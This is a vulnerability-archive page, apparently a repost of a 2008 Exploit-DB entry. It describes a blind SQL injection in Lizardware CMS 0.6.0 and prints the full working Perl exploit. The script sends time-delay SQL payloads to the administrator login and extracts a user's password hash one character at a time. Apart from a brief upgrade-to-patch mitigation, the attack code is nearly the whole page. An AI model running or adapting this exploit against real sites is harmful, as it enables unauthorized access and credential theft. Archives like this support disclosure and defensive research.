Lizardware CMS - exploit.company

vendor:

Lizardware CMS

by:

athos

7.5

CVSS

HIGH

Blind SQL Injection

CWE

Product Name: Lizardware CMS

Affected Version From: 0.6.0

Affected Version To: 0.6.0

Patch Exists: Yes

Related CWE: N/A

CPE: a:lizardware:lizardware_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Lizardware CMS <= 0.6.0 Blind SQL Injection Exploit

This exploit is used to gain access to the Lizardware CMS version 0.6.0 and below. It uses a blind SQL injection vulnerability to gain access to the user table in the database. The exploit takes three parameters: the domain, the table prefix, and the user ID. It then uses a loop to iterate through the characters of the user's password, sending a request for each character. If the response time is greater than 6 seconds, the character is added to the password string.

Mitigation:

Upgrade to the latest version of Lizardware CMS and ensure that all security patches are applied.

Source

Exploit-DB raw data:

#!/usr/bin/perl -w
# Lizardware CMS <= 0.6.0 Blind SQL Injection Exploit
# by athos - staker[at]hotmail[dot]it
# http://sourceforge.net/projects/lizardwarecms/

use strict;
use LWP::UserAgent;

my ($stop,$start,$hash);

my $domain = shift;
my $ptable = shift;
my $userid = shift or &usage;

my @chars = (48..57, 97..102); 
my $substr = 1; 
my $http = new LWP::UserAgent;


&usage unless $domain =~ /^http:\/\/(.+?)$/i and $userid =~ /^[0-9]$/; 


sub send_request
{ 
     my $post = undef;
     my $host = $domain;
     my $param = shift @_ or die $!;
  
     $host .= "/administrator/index.php?loginsubmitMTIyOTU0ODExMg== ";
     $post = $http->post($host,[
                                 user      => $param,
                                 pass      => 'anything'
                               ]);
 
}


sub give_char
{
     my $send = undef;
     my ($charz,$uidz) = @_;
  
     $send = "' or (select if((ascii(substring".
             "(user_password,$uidz,1))=$charz),".
             "benchmark(230000000,char(0)),".
            "0) from ${ptable}_users where user_id=$userid)#";

     return $send;
}


for(1..32) 
{
     foreach my $set(@chars)
     {
          my $start = time();
    
          send_request(give_char($set,$substr));
    
          my $stop = time();
  
         if($stop - $start > 6)
         { 
              syswrite(STDOUT,chr($set));
              $substr++; 
              last;
        }
    }
}

sub usage
{
     print "[?] Lizardware CMS <= 0.6.0 Blind SQL Injection Exploit\n";
     print "[?] by athos - staker[at]hotmail[dot]it\n";
     print "[?] Usage: perl $0 http://[host/path] [table_prefix] [id]\n";
     exit;
}

# milw0rm.com [2008-12-17]